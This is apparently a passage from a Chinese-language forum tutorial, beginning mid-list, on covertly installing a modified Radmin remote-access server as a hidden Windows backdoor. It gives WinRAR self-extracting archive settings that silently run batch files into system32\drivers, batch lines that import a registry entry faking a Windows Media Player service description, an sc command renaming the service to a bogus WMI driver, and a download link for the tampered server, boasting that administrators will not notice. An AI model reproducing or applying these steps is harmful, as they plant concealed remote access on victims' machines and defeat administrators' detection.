4.配置RAR高級自解壓縮選項嘀時候。。注意那個解壓路徑 寫成%systemroot%

\system32\drivers這個
步驟1 選擇『在當前文件夾中創建』
步驟2 在『解壓后運行』輸入2.bat
步驟3 在『解壓前運行』輸入1.bat
步驟4 選擇RAR高級自解壓縮中的『模式』 改兩個地方 選擇『全部隱藏』和『

覆蓋所有文件』

5.把你的r_server改名成system

6.RAR打包的時候不要忘記了SC這個程序

在上面我使用到了幾個隱藏技巧。。

1.使用了attrib命令

2.利用注冊表中的服務說明。。就是下面這一段
echo Windows Registry Editor Version 5.00 > c:\ip.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\r_server] >>

c:\ip.reg
echo "Description"="為Windows Media Player提供加載進程及為其他的移動

媒體，驅動程序和庫提供基層安全協議服務。">> c:\ip.reg

@regedit /s c:\ip.reg
@del c:\ip.reg /f /q

大家應該可以看懂

3.使用SC改變了r_server服務名

@sc config r_server displayname= "Windows Management Instrumentation

Player Drivers"

有了以上的幾步。。很多管理員都不會查出來。。當然普通人更不會了

大家選擇一個好的端口就行了。。。如果要替換服務。。自己加幾個命令在

2.bat中就是了。。

優點：
1.在 系統服務 中看見的是Windows Management Instrumentation Player

Drivers 服務 （可以自定義）
2.服務說明是 提供加載進程及為其他的移動媒體，驅動程序和庫提供基層安全

協議服務
3.在cmd下面 使用net start 看見的自起動服務是Windows Management

Instrumentation Player Drivers
4.在進程中看見的是system（可以自定義，在2.bat文件中相應的地方改一下，

注意不要和已有的系統進程起沖突）

以上的程序。。SC，還有經過處理的RAdmin的服務端

下載地址：http://superhan.ys168.com

有下載。。。

這個就是我使用的。。有好的給我提提意見（替換服務出外）